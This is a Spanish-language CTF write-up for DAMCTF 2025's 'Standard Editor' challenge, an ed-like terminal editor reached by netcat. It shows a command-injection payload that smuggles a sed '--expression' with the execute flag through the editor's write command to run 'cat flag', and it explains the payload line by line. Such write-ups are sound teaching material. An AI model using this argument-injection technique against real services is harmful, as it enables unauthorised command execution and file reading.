Standard Editor - DAMCTF2025
Reto basado escapar de un programa de apuntes por terminal mediante command injections.
Autor del reto: evan
Dificultad: Media
Enunciado
“Joel Fagliano has nothing on me. (flag is all caps)”
Archivos
En este reto, tenemos el siguiente archivo.
conexión por netcat
: Contiene la conexión directa con el servidor del reto.
Archivos utilizados aquí.
Analizando el reto
Al conectarnos por netcat podemos ver el siguiente mensaje.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kesero㉿kali)-[~]
└─$ nc standard-editor.chals.damctf.xyz 6733
[Sun May 11 20:22:15 UTC 2025] Welcome, editor!
Feel free to write in this temporary scratch space.
All data will be deleted when you're done, but files will
first be printed to stdout in case you want to keep them.
a
?
b
?
c
?
Solver
En este reto tendremos que realizar un command injection a través del editor simulado que nos dan en el reto. Para ello como siempre en estos casos, tendremos que probar, probar y probar todo lo posible para observar cómo se comporta el servidor.
La primera suposición que podemos realizar es que el editor mencionado se trata de un editor de línea de comandos personalizado, emulando algo parecido al programa ed
.
Por ejemplo, si queremos añadir líneas en este tipo de editores, con el comando a
significa append
y podemos añadir líneas al editor. Además si queremos finalizar la entrada de líneas, lo realizaremos mediante .
. De forma parecida, el comando w
el cual nos permite ejecutar comandos.
Además, al probar, observamos que las expresiones regulares están permitidas ya que observaremos que estamos habilitados para evaluar expresiones de sustitución.
Después de muchos intentos damos con el código para leer la flag.
1
2
3
4
5
6
7
8
a
.
w --expression=s@.*@cd\ ..\;\ cd\ ..\;\ cat\ flag@e
a
bruh
.
w f
q
Vamos a explicarlo línea por línea.
a
empezamos a añadir líneas..
finalizamos la entrada de líneasw --expression=s@.*@cd\ ..\;\ cd\ ..\;\ cat\ flag@e
. Para comenzar,w
permite escribir,--expression=
nos permite evaluar y ejecuar a continuación. Por otro lado dentro de la expresión tenemoss@.*@cd\ ..\;\ cd\ ..\;\ cat\ flag@e
. En la cuals@.*@...@e
es una expresión de sustitución desed
con la flage
, que ejecuta el resultado como un comando de sistema. Posteriormente,.*
fuerza a capturar cualquier línea dentro del archivo. Acto seguido se sustituye porcd ..; cd ..; cat flag
que cambia dos niveles arriba en el sistema de archivos y luego ejecutacat flag
a, bruh, .
Con esta combinación forzamos a que se ejecute el procesamiento de la expresión anterior.w f
Finalmente grabamos el contenido conf
y guardamos el contenido. De esta manera, forzamos al sistema que interprete la expresión con ejecución.q
Por último, salimos del programa.
Realizando los pasos anteriores, obtenemos la flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kesero㉿kali)-[~]
└─$ nc standard-editor.chals.damctf.xyz 6733
[Mon May 12 16:19:16 UTC 2025] Welcome, editor!
Feel free to write in this temporary scratch space.
All data will be deleted when you're done, but files will
first be printed to stdout in case you want to keep them.
a
.
w --expression=s@.*@cd\ ..\;\
cd\ ..\;\ cat\ flag@e
0
a
bruh
.
w f
5
q
sed: can't read s@vi\|vim\|emacs\|nano\|vscode\|notepad[+][+]\|code\|zed\|atom\|word\|office\|docs\|o365\|copilot\|cursor@ed(1)@ig: No such file or directory
dam{is_it_w31rd_that_i_u53_ed(1)_4_fun?}
Flag
dam{is_it_w31rd_that_i_u53_ed(1)_4_fun?}